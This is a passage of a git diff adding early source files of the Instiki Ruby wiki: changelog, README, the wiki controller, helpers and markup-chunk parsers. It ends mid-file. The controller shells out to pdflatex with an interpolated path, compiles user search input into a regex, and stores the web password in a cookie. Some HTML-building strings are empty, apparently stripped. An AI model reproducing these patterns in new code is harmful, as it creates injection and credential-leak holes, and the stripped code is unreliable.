diff --git a/CHANGELOG b/CHANGELOG new file mode 100755 index 00000000..f8977f34 --- /dev/null +++ b/CHANGELOG @@ -0,0 +1,137 @@ +HEAD: + Wiki extracts (to HTML and plain text) will leave only the last extract file in ./storage + Local hyperlinks in published pages point to published pages [Michael DeHaan] + Various usability enhancements + + * 0.9.2: + Rollback takes the user to an edit form. The form has to be submitted for the change to take place. + Changed to use inline style on published pages + Fixed "forward in time" on the last revision before current page + Instiki won't log bogus error messages when creating a new Wiki. + Fixed deprecation warning for Object.id (introduced in Ruby 1.8.2) + Madeleine upgraded to 0.7.1 + Madeleine snapshots are compressed + Packaged as a gem + + * 0.9.1: + Added performance improvements for updating existing pages + Fixed IP logging and RSS feeds behind proxies [With help from Guan Yang] + Fixed default storage directory (borked running on Windows) [Spotted by Curt Hibbs] + + * 0.9.0: + Added aliased links such as [[HomePage|that nice home page]] [Mark Reid] + Added include other page content with [[!include TableOfContents]] [Mark Reid] + Added delete orphan pages from the Edit Web screen [by inspiration from Simon Arnaud] + Added logging of IP address for authors (who's behind the rollback wars) + Added Categories pages through backlinks (use "categories: news, instiki" on start of line) [Mark Reid] + Added option to use bracket-style wiki links only (and hence ban WikiWords) + Added command-line option to specify different storage path + Added print view without navigation + Added character and page (2275 characters including spaces) counter (important for student papers) + Off by default, activate it on the Edit Web screen + Added LaTeX/PDF integration on Textile installations with pdflatex installed on system (EXPERIMENTAL) + Use the home page as a table of contents with a unordered list to control sections + Added limit of 15 to the number of pages included in RSS feed + Moved static parts of stylesheet to separate file [Lau TŒrnskov] + Fixed better semantics for revision movement [Ryan Singer] + Fixed color diffs to work much better [Xen/Mertz/Atkins] + Fixed performance problems for All Pages list [Dennis Mertz] + Fixed lots of rendering bugs [Mark Reid] + Upgraded to RedCloth 2.0.11 [integrating the fine work of Dennis Mertz] + + * 0.8.9: + Added color diffs to see changes between revisions [Bill Atkins] + They're aren't quite perfect yet as new paragraphs split the tags (hence 0.8.9, not 0.9.0) + Added redirect to edit if content of page generates an error + (so the page doesn't become unusable on bugs in the markup engines) + Fixed update Web with different address bug [Denis Metz] + Fixed a bunch of wiki word rendering issues by doing wiki word detection and replacment at once + Upgraded to BlueCloth 0.0.3b (should fix loads of problems on Markdown wikis) + + * 0.8.5: + Instiki can now serve as a CMS by running a password-protected web with a published front + Added version check at startup (Instiki needs Ruby 1.8.1) + + * 0.8.1: + Actually included RedCloth 2.0.7 in the release + + * 0.8.0: + NOTE: Single-web wikis created in versions prior to 0.8.0 have "instiki" as their system password + Accepts wiki words in bracket style. Ex: [[wiki word]], [[c]], [[We could'nt have done it!]] + Accepts camel-case wiki words in all latin, greek, cyrillian, and armenian unicode characters + Many thanks to Guan Yang for building the higher- and lower-case lookup tables + And thanks to Simon Arnaud for the initial patch that got the work started + Changed charset to UTF-8 + Cut down on command-line options and replaced them with an per-web config screen + Added option to extend the stylesheet on a per-web basis to tweak the look in details + Added simple color options for variety + Added option to add/remove password protection on each web + Added the wiki name of the author locking a given page (instead of just "someone") + Removed single/multi-web distinction -- all Instikis are now multi-web + Load libraries from an unshifted load path, so that old installed libraries doesn't clash [Emiel van de Laar] + Keeps the author cookie forever, so you don't have to enter your name again and again + Fixed XHTML so it validates [Bruce D'Arcus] + Authors are no longer listed under orphan pages + Added export to markup (great for backups, potentially for switching wiki engine) + Don't link wiki words that proceeds from either /, = or ? + (http://c2.com/cgi/wiki?WikiWikiClones, /show/HomePage, cgi.pl?show=WikiWord without escaping) + Accessing an unexisting page redirects to a different url (/new/PageName) + Increased snapshot time to just once a day (cuts down on disk storage requirements) + Made RDoc support work better with 1.8.1 [Mauricio Fern‡ndez] + Added convinient redirect from /wiki/ to /wiki/show/HomePage + Fixed BlueCloth bug with backticks at start of line + Updated to RedCloth 2.0.7 (and linked to the new Textile reference) + + * 0.7.0: + Added Markdown (BlueCloth) and RDoc [Mauricio Fern‡ndez] as command-line markup choices + Added wanted and orphan page lists to All pages (only show up if there's actually orphan or wanted pages) + Added ISO-8859-1 as XML encoding in RSS feeds (makes FeedReader among others happy for special entities) + Added proper links in the RSS feed (but the body links are still relative, which NNW and others doesn't grok) + Added access keys: E => Edit, H => HomePage, A => All Pages, U => Recently Revised, X => Export + Added password-login through URL (so you can subscribe to feed on a protected web) + Added web passwords to the feed links for protected webs, so they work without manual login + Added the web name in small letters above all pages within a web + Polished authors and recently revised + Updated to RedCloth 2.0.6 + Changed content type for RSS feeds to text/xml (makes Mozilla Aggreg8 happy) + Changed searching to be case insensitive + Changed HomePage to display the name of the web instead + Changed exported HTML pages to be valid XHTML (which can be preprocessed by XSLT) + Fixed broken recently revised + + * 0.6.0: + Fixed Windows compatibility [Florian] + Fixed bug that would prevent Madeleine from taking snapshots in Daemon mode + Added export entire web as HTML in a zip file + Added RSS feeds + Added proper getops support for the growing number of options [Florian] + Added safe mode that forbids style options in RedCloth [Florian] + Updated RedCloth to 2.0.5 + + * 0.5.0: + NOTE: 0.5.0 is NOT compatible with databases from earlier versions + Added revisions + Added multiple webs + Added password protection for webs on multi-web setups + Added the notion of authors (that are saved in a cookie) + Added command-line option for not running as a Daemon on Unix + + * 0.3.1: + Added option to escape wiki words with \ + + * 0.3.0: + Brought all files into common style (including Textile help on the edit page) + Added page locking (if someone already is editing a page there's a warning) + Added daemon abilities on Unix (keep Instiki running after you close the terminal) + Made port 2500 the default port, so Instiki can be launched by dobbelt-click + Added Textile cache to speed-up rendering of large pages + Made WikiWords look like "Wiki Words" + Updated RedCloth to 2.0.4 + + * 0.2.5: + Upgraded to RedCloth 2.0.2 and Madeleine 0.6.1, which means the + Windows problems are gone. Also fixed a problem with wikiwords + that used part of other wikiwords. + + * 0.2.0: + First public release diff --git a/CONTROLLER_TESTS b/CONTROLLER_TESTS new file mode 100755 index 00000000..500a46de --- /dev/null +++ b/CONTROLLER_TESTS @@ -0,0 +1,36 @@ +DONE + +edit +create_system +index +locked +new +new_system +show +recently_revised +save +revision +rollback +search +list +web_list +authenticate +login +create_web +new_web +update_web +authors +remove_orphaned_pages +cancel_edit +print +published +rss_with_content +rss_with_headlines +export_html +export_markup + +TODO + +pdf +export_pdf +export_tex diff --git a/README b/README new file mode 100755 index 00000000..adbaaaf1 --- /dev/null +++ b/README @@ -0,0 +1,68 @@ +===What is Instiki? + +Admitted, it's YetAnotherWikiClone[http://c2.com/cgi/wiki?WikiWikiClones], but with a strong focus +on simplicity of installation and running: + +Step 1. Download + +Step 2. Run "instiki" + +Step 3. Chuckle... "There's no step three!" (TM) + +You're now running a perfectly suitable wiki on port 2500 +that'll present you with one-step setup, followed by a textarea for the home page +on http://localhost:2500. + +Instiki lowers the barriers of interest for when you might consider +using a wiki. It's so simple to get running that you'll find yourself +using it for anything -- taking notes, brainstorming, organizing a +gathering. + +===Features: +* Regular expression search: Find deep stuff really fast +* Revisions: Follow the changes on every page from birth. Rollback to an earlier rev +* Export to HTML or markup in a zip: Take the entire wiki with you home or for reference +* RSS feeds to track recently revised pages +* Multiple webs: Create separate wikis with their own namespace +* Password-protected webs: Keep it private +* Authors: Each revision is associated with an author, so you can see who changed what +* Reference tracker: Which other pages are pointing to the current? +* Speed: Using Madelein[http://madeleine.sourceforge.net] for persistence (all pages are in memory) +* Three markup choices: Textile[http://www.textism.com/tools/textile] + (default / RedCloth[http://www.whytheluckystiff.net/ruby/redcloth]), + Markdown (BlueCloth[http://bluecloth.rubyforge.org]), and RDoc[http://rdoc.sourceforge.net/doc] +* Embedded webserver: Through WEBrick[http://www.webrick.org] +* Internationalization: Wiki words in any latin, greek, cyrillian, or armenian characters +* Color diffs: Track changes through revisions + +===Missing: +* File attachments + +===Install from gem: +* Install rubygems +* Run "gem install instiki" +* Change to a directory where you want Instiki to keep its data files (for example, ~/instiki/) +* Run "instiki" - this will create a "storage" directory (for example, ~/instiki/storage), and start a new Wiki service + +Make sure that you always launch Instiki from the same working directory, or specify the storage directory in runtime parameters, such as: + instiki --storage ~/instiki/storage + +===Command-line options: +* Run "instiki --help" + +===History: + * See CHANGELOG + +===Download latest from: +* http://rubyforge.org/project/showfiles.php?group_id=186 + +===Visit the official Instiki wiki: +* http://www.instiki.org + +===License: +* same as Ruby's + +--- +Author:: David Heinemeier Hansson +Email:: david@loudthinking.com +Weblog:: http://www.loudthinking.com diff --git a/app/controllers/application.rb b/app/controllers/application.rb new file mode 100644 index 00000000..6765c5e7 --- /dev/null +++ b/app/controllers/application.rb @@ -0,0 +1,27 @@ +require 'url_rewriting_hack' + +# The filters added to this controller will be run for all controllers in the application. +# Likewise will all the methods added be available for all controllers. +class ApplicationController < ActionController::Base + + # implements Instiki's legacy URLs + require 'url_rewriting_hack' + + # For injecting a different wiki model implementation. Intended for use in tests + def self.wiki=(the_wiki) + # a global variable is used here because Rails reloads controller and model classes in the + # development environment; therefore, storing it as a class variable does not work + # class variable is, anyway, not much different from a global variable + $instiki_wiki_service = the_wiki + logger.debug("Wiki service: #{the_wiki.to_s}") + end + + def self.wiki + $instiki_wiki_service + end + + def wiki + $instiki_wiki_service + end + +end diff --git a/app/controllers/wiki_controller.rb b/app/controllers/wiki_controller.rb new file mode 100755 index 00000000..5e38d494 --- /dev/null +++ b/app/controllers/wiki_controller.rb @@ -0,0 +1,411 @@ +require 'application' +require 'fileutils' +require 'redcloth_for_tex' + +class WikiController < ApplicationController + + before_filter :pre_process + + EXPORT_DIRECTORY = File.dirname(__FILE__) + "/../../storage/" unless const_defined?("EXPORT_DIRECTORY") + + def index + if @web_name + redirect_show 'HomePage' + elsif not wiki.setup? + redirect_to :action => 'new_system' + elsif wiki.webs.length == 1 + redirect_show 'HomePage', wiki.webs.values.first.address + else + redirect_to :action => 'web_list' + end + end + + # Administrating the Instiki setup -------------------------------------------- + + def create_system + wiki.setup(@params['password'], @params['web_name'], @params['web_address']) unless wiki.setup? + redirect_to :action => 'index' + end + + def create_web + if wiki.authenticate(@params['system_password']) + wiki.create_web(@params['name'], @params['address']) + redirect_show('HomePage', @params['address']) + else + redirect_to :action => 'index' + end + end + + def new_system + redirect_to(:action => 'index') if wiki.setup? + # otherwise, to template + end + + def new_web + redirect_to :action => 'index' if wiki.system['password'].nil? + # otherwise, to template + end + + + # Outside a single web -------------------------------------------------------- + + def authenticate + if password_check(@params['password']) + redirect_show('HomePage') + else + redirect_to :action => 'login' + end + end + + def login + # go straight to template + end + + def web_list + @webs = wiki.webs.values.sort_by { |web| web.name } + end + + + # Within a single web --------------------------------------------------------- + + def authors + @authors = @web.select.authors + end + + def export_html + export_pages_as_zip('html') { |page| @page = page; render_to_string 'wiki/print' } + end + + def export_markup + export_pages_as_zip(@web.markup) { |page| page.content } + end + + def export_pdf + file_name = "#{web.address}-tex-#{web.revised_on.strftime("%Y-%m-%d-%H-%M")}" + file_path = EXPORT_DIRECTORY + file_name + + export_web_to_tex(file_path + ".tex") unless FileTest.exists?(file_path + ".tex") + convert_tex_to_pdf(file_path + ".tex") + send_export(file_name + ".pdf", file_path + ".pdf") + end + + def export_tex + file_name = "#{web.address}-tex-#{web.revised_on.strftime("%Y-%m-%d-%H-%M")}.tex" + file_path = EXPORT_DIRECTORY + file_name + + export_web_to_tex(file_path) unless FileTest.exists?(file_path) + send_export(file_name, file_path) + end + + def feeds + # to template + end + + def list + parse_category + @pages_by_name = @pages_in_category.by_name + @page_names_that_are_wanted = @pages_in_category.wanted_pages + @pages_that_are_orphaned = @pages_in_category.orphaned_pages + end + + def recently_revised + parse_category + @pages_by_revision = @pages_in_category.by_revision + end + + def remove_orphaned_pages + if wiki.authenticate(@params['system_password']) + wiki.remove_orphaned_pages(@web_name) + redirect_to :action => 'list' + else + redirect_show 'HomePage' + end + end + + def rss_with_content + render_rss + end + + def rss_with_headlines + render_rss(hide_description = true) + end + + def search + @query = @params['query'] + @results = @web.select { |page| page.content =~ /#{@query}/i }.sort + redirect_show(@results.first.name) if @results.length == 1 + end + + def update_web + if wiki.authenticate(@params['system_password']) + wiki.update_web( + @web.address, @params['address'], @params['name'], + @params['markup'].intern, + @params['color'], @params['additional_style'], + @params['safe_mode'] ? true : false, + @params['password'].empty? ? nil : @params['password'], + @params['published'] ? true : false, + @params['brackets_only'] ? true : false, + @params['count_pages'] ? true : false + ) + redirect_show('HomePage', @params['address']) + else + redirect_show('HomePage') + end + end + + + # Within a single page -------------------------------------------------------- + + def cancel_edit + @page.unlock + redirect_show + end + + def edit + if @page.nil? + redirect_to :action => 'index' + elsif @page.locked?(Time.now) and not @params['break_lock'] + redirect_to :web => @web_name, :action => 'locked', :id => @page_name + else + @page.lock(Time.now, @author) + end + end + + def locked + # to template + end + + def new + # go straight to template, all necessary variables are already set in the filter + end + + def pdf + page = wiki.read_page(@web_name, @page_name) + safe_page_name = page.name.gsub(/\W/, '') + file_name = "#{safe_page_name}-#{web.address}-#{page.created_at.strftime("%Y-%m-%d-%H-%M")}" + file_path = EXPORT_DIRECTORY + file_name + + export_page_to_tex(file_path + '.tex') unless FileTest.exists?(file_path + '.tex') + convert_tex_to_pdf(file_path + '.tex') + send_export(file_name + '.pdf', file_path + '.pdf') + end + + def print + # to template + end + + def published + if @web.published + @page = wiki.read_page(@web_name, @page_name || 'HomePage') + else + redirect_show('HomePage') + end + end + + def revision + get_page_and_revision + end + + def rollback + get_page_and_revision + end + + def save + redirect_to :action => 'index' if @page_name.nil? + + if @web.pages[@page_name] + page = wiki.revise_page( + @web_name, @page_name, @params['content'], Time.now, + Author.new(@params['author'], remote_ip) + ) + page.unlock + else + page = wiki.write_page( + @web_name, @page_name, @params['content'], Time.now, + Author.new(@params['author'], remote_ip) + ) + end + cookies['author'] = @params['author'] + redirect_show(@page_name) + end + + def show + if @page + begin + render_action 'page' + # TODO this rescue should differentiate between errors due to rendering and errors in + # the application itself (for application errors, it's better not to rescue the error at all) + rescue => e + logger.error e + if in_a_web? + redirect_to :web => @web_name, :action => 'edit', + :action_suffix => "#{CGI.escape(@page_name)}?msg=#{CGI.escape(e.message)}" + else + raise e + end + end + else + redirect_to :web => @web_name, :action => 'new', :id => CGI.escape(@page_name) + end + end + + def tex + @tex_content = RedClothForTex.new(@page.content).to_tex + end + + + private + + def authorized? + @web.nil? || + @web.password.nil? || + cookies['web_address'] == @web.password || + password_check(@params['password']) + end + + def check_authorization(action_name) + if in_a_web? and + not authorized? and + not %w( login authenticate published ).include?(action_name) + redirect_to :action => 'login' + return false + end + end + + def convert_tex_to_pdf(tex_path) + `cd #{File.dirname(tex_path)}; pdflatex --interaction=scrollmode '#{File.basename(tex_path)}'` + end + + def export_page_to_tex(file_path) + tex + File.open(file_path, 'w') { |f| f.write(template_engine("tex").result(binding)) } + end + + def export_pages_as_zip(file_type, &block) + + file_prefix = "#{@web.address}-#{file_type}-" + timestamp = @web.revised_on.strftime('%Y-%m-%d-%H-%M-%S') + file_path = EXPORT_DIRECTORY + file_prefix + timestamp + '.zip' + tmp_path = "#{file_path}.tmp" + + Zip::ZipOutputStream.open(tmp_path) do |zip_out| + @web.select.by_name.each do |page| + zip_out.put_next_entry("#{page.name}.#{file_type}") + zip_out.puts(block.call(page)) + end + # add an index file, if exporting to HTML + if file_type.to_s.downcase == 'html' + zip_out.put_next_entry 'index.html' + zip_out.puts <<-EOL + + + + + + EOL + end + end + FileUtils.rm_rf(Dir[EXPORT_DIRECTORY + file_prefix + '*.zip']) + FileUtils.mv(tmp_path, file_path) + send_file(file_path, :type => 'application/zip') + end + + def export_web_to_tex(file_path) + @tex_content = table_of_contents(web.pages['HomePage'].content.dup, render_tex_web) + File.open(file_path, 'w') { |f| f.write(template_engine('tex_web').result(binding)) } + end + + def get_page_and_revision + @revision = @page.revisions[@params['rev'].to_i] + end + + def in_a_web? + not @web_name.nil? + end + + def parse_category + @categories = @web.categories + @category = @params['category'] + if @categories.include?(@category) + @pages_in_category = @web.select { |page| page.in_category?(@category) } + @set_name = "category '#{@category}'" + else + @pages_in_category = PageSet.new(@web).by_name + @set_name = 'the web' + end + @category_links = @categories.map { |c| + if @category == c + %{#{c}} + else + %{#{c}} + end + } + end + + def password_check(password) + if password == @web.password + cookies['web_address'] = password + true + else + false + end + end + + def pre_process + @action_name = @params['action'] || 'index' + @web_name = @params['web'] + @wiki = wiki + @web = @wiki.webs[@web_name] unless @web_name.nil? + @page_name = @params['id'] + @page = @wiki.read_page(@web_name, @page_name) unless @page_name.nil? + @author = cookies['author'] || 'AnonymousCoward' + check_authorization(@action_name) + end + + def redirect_show(page_name = @page_name, web = @web_name) + redirect_to :web => web, :action => 'show', :id => CGI.escape(page_name) + end + + def remote_ip + ip = @request.remote_ip + logger.info(ip) + ip + end + + def render_rss(hide_description = false) + @pages_by_revision = @web.select.by_revision.first(15) + @hide_description = hide_description + @response.headers['Content-Type'] = 'text/xml' + render 'wiki/rss_feed' + end + + def render_tex_web + @web.select.by_name.inject({}) do |tex_web, page| + tex_web[page.name] = RedClothForTex.new(page.content).to_tex + tex_web + end + end + + def render_to_string(template_name) + add_variables_to_assigns + render template_name + @template.render_file(template_name) + end + + # Returns an array with each of the parts in the request as an element. So /something/cool/dude + # returns ["something", "cool", "dude"] + def request_path + request_path_parts = @request.path.to_s.split(/\//) + request_path_parts.length > 1 ? request_path_parts[1..-1] : [] + end + + def template_engine(template_name) + ERB.new(IO.readlines(RAILS_ROOT + '/app/views/wiki/' + template_name + '.rhtml').join) + end + + def truncate(text, length = 30, truncate_string = '...') + if text.length > length then text[0..(length - 3)] + truncate_string else text end + end + +end diff --git a/app/helpers/application_helper.rb b/app/helpers/application_helper.rb new file mode 100644 index 00000000..9956a1cd --- /dev/null +++ b/app/helpers/application_helper.rb @@ -0,0 +1,36 @@ +# The methods added to this helper will be available to all templates in the application. +module ApplicationHelper + + # Accepts a container (hash, array, enumerable, your type) and returns a string of option tags. Given a container + # where the elements respond to first and last (such as a two-element array), the "lasts" serve as option values and + # the "firsts" as option text. Hashes are turned into this form automatically, so the keys become "firsts" and values + # become lasts. If +selected+ is specified, the matching "last" or element will get the selected option-tag. + # + # Examples (call, result): + # html_options([["Dollar", "$"], ["Kroner", "DKK"]]) + # \n + # + # html_options([ "VISA", "Mastercard" ], "Mastercard") + # \n + # + # html_options({ "Basic" => "$20", "Plus" => "$40" }, "$40") + # \n + def html_options(container, selected = nil) + container = container.to_a if Hash === container + + html_options = container.inject([]) do |options, element| + if element.respond_to?(:first) && element.respond_to?(:last) + if element.last != selected + options << "" + else + options << "" + end + else + options << ((element != selected) ? "" : "") + end + end + + html_options.join("\n") + end + +end diff --git a/app/models/author.rb b/app/models/author.rb new file mode 100755 index 00000000..289f9c9d --- /dev/null +++ b/app/models/author.rb @@ -0,0 +1,4 @@ +class Author < String + attr_accessor :ip + def initialize(name, ip) @ip = ip; super(name) end +end \ No newline at end of file diff --git a/app/models/chunks/category.rb b/app/models/chunks/category.rb new file mode 100755 index 00000000..7165a26f --- /dev/null +++ b/app/models/chunks/category.rb @@ -0,0 +1,31 @@ +require 'chunks/chunk' + +# The category chunk looks for "category: news" on a line by +# itself and parses the terms after the ':' as categories. +# Other classes can search for Category chunks within +# rendered content to find out what categories this page +# should be in. +# +# Category lines can be hidden using ':category: news', for example +class Category < Chunk::Abstract + def self.pattern() return /^(:)?category\s*:(.*)$/i end + + attr_reader :hidden, :list + + def initialize(match_data) + super(match_data) + @hidden = match_data[1] + @list = match_data[2].split(',').map { |c| c.strip } + end + + # Mark this chunk's start and end points but allow the terms + # after the ':' to be marked up. + def mask(content) pre_mask + list.join(', ') + post_mask end + + # If the chunk is hidden, erase the mask and return this chunk + # otherwise, surround it with a 'div' block. + def unmask(content) + replacement = ( hidden ? '' : '
category:\1
' ) + self if content.sub!( Regexp.new( pre_mask+'(.*)?'+post_mask ), replacement ) + end +end diff --git a/app/models/chunks/chunk.rb b/app/models/chunks/chunk.rb new file mode 100755 index 00000000..754b2653 --- /dev/null +++ b/app/models/chunks/chunk.rb @@ -0,0 +1,20 @@ +require 'digest/md5' +require 'uri/common' + +# A chunk is a pattern of text that can be protected +# and interrogated by a renderer. Each Chunk class has a +# +pattern+ that states what sort of text it matches. +# Chunks are initalized by passing in the result of a +# match by its pattern. +module Chunk + class Abstract + attr_reader :text + + def initialize(match_data) @text = match_data[0] end + def pre_mask() "chunk#{self.object_id}start " end + def post_mask() " chunk#{self.object_id}end" end + def mask(content) "chunk#{self.object_id}chunk" end + def revert(content) content.sub!( Regexp.new(mask(content)), text ) end + def unmask(content) self if revert(content) end + end +end diff --git a/app/models/chunks/engines.rb b/app/models/chunks/engines.rb new file mode 100755 index 00000000..5d189d71 --- /dev/null +++ b/app/models/chunks/engines.rb @@ -0,0 +1,38 @@ +$: << File.dirname(__FILE__) + "../../libraries" + +require 'redcloth' +require 'bluecloth' +require 'rdocsupport' +require 'chunks/chunk' + +# The markup engines are Chunks that call the one of RedCloth, BlueCloth +# or RDoc to convert text. This markup occurs when the chunk is required +# to mask itself. +module Engines + class Textile < Chunk::Abstract + def self.pattern() /^(.*)$/m end + def mask(content) + RedCloth.new(text,content.options[:engine_opts]).to_html + end + def unmask(content) self end + end + + class Markdown < Chunk::Abstract + def self.pattern() /^(.*)$/m end + def mask(content) + BlueCloth.new(text,content.options[:engine_opts]).to_html + end + def unmask(content) self end + end + + class RDoc < Chunk::Abstract + def self.pattern() /^(.*)$/m end + def mask(content) + RDocSupport::RDocFormatter.new(text).to_html + end + def unmask(content) self end + end + + MAP = { :textile => Textile, :markdown => Markdown, :rdoc => RDoc } +end + diff --git a/app/models/chunks/include.rb b/app/models/chunks/include.rb new file mode 100755 index 00000000..7f3a9299 --- /dev/null +++ b/app/models/chunks/include.rb @@ -0,0 +1,29 @@ +require 'chunks/wiki' + +# Includes the contents of another page for rendering. +# The include command looks like this: "[[!include PageName]]". +# It is a WikiLink since it refers to another page (PageName) +# and the wiki content using this command must be notified +# of changes to that page. +# If the included page could not be found, a warning is displayed. +class Include < WikiChunk::WikiLink + def self.pattern() /^\[\[!include(.*)\]\]\s*$/i end + + attr_reader :page_name + + def initialize(match_data) + super(match_data) + @page_name = match_data[1].strip + end + + # This replaces the [[!include PageName]] text with + # the contents of PageName if it exists. Otherwise + # a warning is displayed. + def mask(content) + page = content.web.pages[page_name] + (page ? page.content : "Could not include #{page_name}") + end + + # Keep this chunk regardless of what happens. + def unmask(content) self end +end diff --git a/app/models/chunks/literal.rb b/app/models/chunks/literal.rb new file mode 100755 index 00000000..0df73caf --- /dev/null +++ b/app/models/chunks/literal.rb @@ -0,0 +1,19 @@ +require 'chunks/chunk' + +# These are basic chunks that have a pattern and can be protected. +# They are used by rendering process to prevent wiki rendering +# occuring within literal areas such as and
 blocks
+# and within HTML tags.
+module Literal
+  # A literal chunk that protects 'code' and 'pre' tags from wiki rendering.
+  class Pre < Chunk::Abstract
+    PRE_BLOCKS = "a|pre|code"
+    def self.pattern() Regexp.new('<('+PRE_BLOCKS+')\b[^>]*?>.*?', Regexp::MULTILINE) end
+  end 
+
+  # A literal chunk that protects HTML tags from wiki rendering.
+  class Tags < Chunk::Abstract
+    TAGS = "a|img|em|strong|div|span|table|td|th|ul|ol|li|dl|dt|dd"
+    def self.pattern() Regexp.new('<(?:'+TAGS+')[^>]*?>', Regexp::MULTILINE) end
+  end
+end
diff --git a/app/models/chunks/match.rb b/app/models/chunks/match.rb
new file mode 100755
index 00000000..2fb58db1
--- /dev/null
+++ b/app/models/chunks/match.rb
@@ -0,0 +1,19 @@
+# This module is to be included in unit tests that involve matching chunks.
+# It provides a easy way to test whether a chunk matches a particular string
+# and any the values of any fields that should be set after a match.
+module ChunkMatch
+
+  # Asserts a number of tests for the given type and text.
+  def match(type, test_text, expected)
+	pattern = type.pattern
+    assert_match(pattern, test_text)
+    pattern =~ test_text   # Previous assertion guarantees match
+    chunk = type.new($~)
+    
+    # Test if requested parts are correct.
+    for method_sym, value in expected do
+      assert_respond_to(chunk, method_sym)
+      assert_equal(value, chunk.method(method_sym).call, "Checking value of '#{method_sym}'")
+    end
+  end
+end
diff --git a/app/models/chunks/nowiki.rb b/app/models/chunks/nowiki.rb
new file mode 100755
index 00000000..99eeb8bf
--- /dev/null
+++ b/app/models/chunks/nowiki.rb
@@ -0,0 +1,31 @@
+require 'chunks/chunk'
+
+# This chunks allows certain parts of a wiki page to be hidden from the
+# rest of the rendering pipeline. It should be run at the beginning
+# of the pipeline in `wiki_content.rb`.
+#
+# An example use of this chunk is to markup double brackets or
+# auto URI links:
+#  Here are [[double brackets]] and a URI: www.uri.org
+#
+# The contents of the chunks will not be processed by any other chunk
+# so the `www.uri.org` and the double brackets will appear verbatim.
+#
+# Author: Mark Reid 
+# Created: 8th June 2004
+class NoWiki < Chunk::Abstract
+
+  def self.pattern() Regexp.new('(.*?)') end
+
+  attr_reader :plain_text
+
+  def initialize(match_data)
+	super(match_data)
+	@plain_text = match_data[1]
+  end
+  
+  # The nowiki content is not unmasked. This means the chunk will be reverted
+  # using the plain text.
+  def unmask(content) nil end
+  def revert(content) content.sub!( Regexp.new(mask(content)), plain_text ) end
+end
diff --git a/app/models/chunks/test.rb b/app/models/chunks/test.rb
new file mode 100755
index 00000000..61d3c4f8
--- /dev/null
+++ b/app/models/chunks/test.rb
@@ -0,0 +1,18 @@
+require 'test/unit'
+
+class ChunkTest < Test::Unit::TestCase
+
+  # Asserts a number of tests for the given type and text.
+  def match(type, test_text, expected)
+	pattern = type.pattern
+    assert_match(pattern, test_text)
+    pattern =~ test_text   # Previous assertion guarantees match
+    chunk = type.new($~)
+    
+    # Test if requested parts are correct.
+    for method_sym, value in expected do
+      assert_respond_to(chunk, method_sym)
+      assert_equal(value, chunk.method(method_sym).call, "Checking value of '#{method_sym}'")
+    end
+  end
+end
diff --git a/app/models/chunks/uri.rb b/app/models/chunks/uri.rb
new file mode 100755
index 00000000..ded31645
--- /dev/null
+++ b/app/models/chunks/uri.rb
@@ -0,0 +1,103 @@
+require 'chunks/chunk'
+
+# This wiki chunk matches arbitrary URIs, using patterns from the Ruby URI modules.
+# It parses out a variety of fields that could be used by renderers to format
+# the links in various ways (shortening domain names, hiding email addresses)
+# It matches email addresses and host.com.au domains without schemes (http://)
+# but adds these on as required.
+#
+# The heuristic used to match a URI is designed to err on the side of caution.
+# That is, it is more likely to not autolink a URI than it is to accidently
+# autolink something that is not a URI. The reason behind this is it is easier
+# to force a URI link by prefixing 'http://' to it than it is to escape and
+# incorrectly marked up non-URI.
+#
+# I'm using a part of the [ISO 3166-1 Standard][iso3166] for country name suffixes.
+# The generic names are from www.bnoack.com/data/countrycode2.html)
+#   [iso3166]: http://geotags.com/iso3166/
+class URIChunk < Chunk::Abstract
+  include URI::REGEXP::PATTERN
+
+  # this condition is to get rid of pesky warnings in tests
+  unless defined? URI_CHUNK_CONSTANTS_DEFINED
+    URI_CHUNK_CONSTANTS_DEFINED = true
+
+    GENERIC = '(?:aero|biz|com|coop|edu|gov|info|int|mil|museum|name|net|org)'
+    COUNTRY = '(?:au|at|be|ca|ch|de|dk|fr|hk|in|ir|it|jp|nl|no|pt|ru|se|sw|tv|tw|uk|us)'
+  
+    # These are needed otherwise HOST will match almost anything
+    TLDS = "\\.(?:#{GENERIC}|#{COUNTRY})" 
+  
+    # Redefine USERINFO so that it must have non-zero length
+    USERINFO = "(?:[#{UNRESERVED};:&=+$,]|#{ESCAPED})+"
+  
+    # Pattern of legal URI endings to stop interference with some Textile
+    # markup. (Images: !URI!) and other punctuation eg, (http://wiki.com/)
+    URI_ENDING = '[)!]'
+  
+    # The basic URI expression as a string
+    URI_PATTERN = 
+  	"(?:(#{SCHEME})://)?" +    # Optional scheme://              (\1|\8)
+  	"(?:(#{USERINFO})@)?" +    # Optional userinfo@              (\2|\9)
+  	"(#{HOSTNAME}#{TLDS})" +   # Mandatory host eg, HOST.com.au  (\3|\10)
+  	"(?::(#{PORT}))?" +        # Optional :port                  (\4|\11)
+  	"(#{ABS_PATH})?" +         # Optional absolute path          (\5|\12)
+  	"(?:\\?(#{QUERY}))?" +     # Optional ?query                 (\6|\13)
+  	"(?:\\#(#{FRAGMENT}))?"    # Optional #fragment              (\7|\14)
+
+  end
+
+  def self.pattern()
+    # This pattern first tries to match the URI_PATTERN that ends with 
+    # punctuation that is a valid URI character (eg, ')', '!'). If
+    # such a match occurs, there should be no backtracking (hence the ?> ). 
+    # If the string cannot match a URI ending with URI_ENDING, then a second
+    # attempt is tried.
+    Regexp.new("(?>#{URI_PATTERN}(?=#{URI_ENDING}))|#{URI_PATTERN}", Regexp::EXTENDED, 'N')
+  end
+
+  attr_reader :uri, :scheme, :user, :host, :port, :path, :query, :fragment, :link_text
+  
+  def initialize(match_data)
+    super(match_data)
+    # Since the URI_PATTERN is tried twice, there are two sets of
+    # groups, one from \1 to \7 and the second from \8 to \14.
+    # The fields are set by which ever group matches.
+    @scheme   	= match_data[1] || match_data[8]
+    @user     	= match_data[2] || match_data[9]
+    @host     	= match_data[3] || match_data[10]
+    @port		= match_data[4] || match_data[11]
+    @path		= match_data[5] || match_data[12]
+    @query		= match_data[6] || match_data[13]
+    @fragment	= match_data[7] || match_data[14]
+
+    # If there is no scheme, add an appropriate one, otherwise
+    # set the URI to the matched text.
+	@text_scheme = scheme
+    @uri = (scheme ? match_data[0] : nil )
+    @scheme = scheme || ( user ? 'mailto' : 'http' )
+    @delimiter = ( scheme == 'mailto' ? ':' : '://' ) 
+    @uri ||= scheme + @delimiter + match_data[0]
+
+    # Build up the link text. Schemes are omitted unless explicitly given.
+	@link_text = ''
+      @link_text << "#{@scheme}#{@delimiter}" if @text_scheme
+      @link_text << "#{@user}@" if @user
+      @link_text << "#{@host}" if @host
+      @link_text << ":#{@port}" if @port
+      @link_text << "#{@path}" if @path
+      @link_text << "?#{@query}" if @query
+  end
+
+  # If the text should be escaped then don't keep this chunk.
